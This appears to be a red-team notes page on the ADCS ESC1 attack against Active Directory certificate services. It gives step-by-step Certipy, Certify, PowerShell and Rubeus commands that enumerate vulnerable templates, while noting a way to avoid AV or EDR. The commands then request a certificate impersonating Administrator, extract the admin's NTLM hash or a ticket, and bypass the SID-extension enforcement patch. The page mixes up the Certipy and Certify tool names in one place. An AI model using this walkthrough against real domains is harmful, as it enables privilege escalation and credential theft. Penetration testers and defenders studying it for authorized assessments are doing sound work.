> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/adcs/esc1.md).

# ESC1

For this technique to work we need a certificate template with the following requirements:

* `ENROLLEE_SUPPLIES_SUBJECT` attribute enabled: this allows the user that initialized the CSR (certificate request) to specify any SAN (subjectAltName) allowing us to request a certificate as any user in the domain
* at least one of the following EUK OIDs: Smart Card Logon / PKINIT Authentication / Client Authentication
* a user that with enrollment rights
* no authorized signatures required

This attack vector can be found with Certipy or Certify

{% code overflow="wrap" %}

```
certipy find -u otter -p 'SomethingSecure123!' -dc-ip 10.10.10.10 -vulnerable -stdout
```

{% endcode %}

```
.\Certify.exe find /vulnerable
```

Another useful way to enumerate for it is using Powershell queries, this can prove useful if we don't manage to run Certify because of AVs or EDRs running on the host.

{% code overflow="wrap" %}

```powershell
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=domain,DC=com'
```

{% endcode %}

To abuse it we need to request a certificate using the user with enrollment rights over the template and add a SAN with the `upn` or `altname` flags

{% code overflow="wrap" %}

```
certipy req -u otter -p 'SomethingSecure123!' -dc-ip 10.10.10.10 -ca otter-CA -template ESC1 -upn Administrator
```

{% endcode %}

{% code overflow="wrap" %}

```
.\Certify.exe request /ca:dc.domain.com\otter-CA /template:ESC1 /altname:administrator@domain.com
```

{% endcode %}

The command will get us a `administrator.pfx` certificate that we can use to get the admin's NTLM hash. If we're using Certify we will need to convert the given certificate to a usable format by using the `openssl` command displayed in the output.

{% code overflow="wrap" %}

```
certipy auth -pfx administrator.pfx -username administrator -domain domain.com -dc-ip 10.10.10.10
```

{% endcode %}

{% code overflow="wrap" %}

```
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /nowrap
```

{% endcode %}

When working in an environment in which the CBA (Certificate-based Authentication) patch is set to Full Enforcement, whenever a user requests a certificate for an alternate user, the SID of the requesting user is checked against the SID present in the one present in the [szOID\_NTDS\_CA\_SECURITY\_EXT extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71): if there is no match this technique cannot be performed. So in fully patched environment, the normal

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asktgt /user:administrator /domain:domain.com /certificate:'C:\Temp\esc1.pfx' /password:'SomethingSecure123!' /dc:dc.domain.com /nowrap /ptt
```

{% endcode %}

would not work.

To work around this policy we can use Certipy's built-in `sidextension` argument (present in Certipy as well under `extensionsid`)

{% code overflow="wrap" fullWidth="false" %}

```powershell
.\Certify.exe request /ca:dc.domain.com\otter-CA /template:<template_name> /altname:administrator /sidextension:<domain_sid>-500 /domain:domain.com
```

{% endcode %}

You can see more about how the extension works and its uses [here](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d).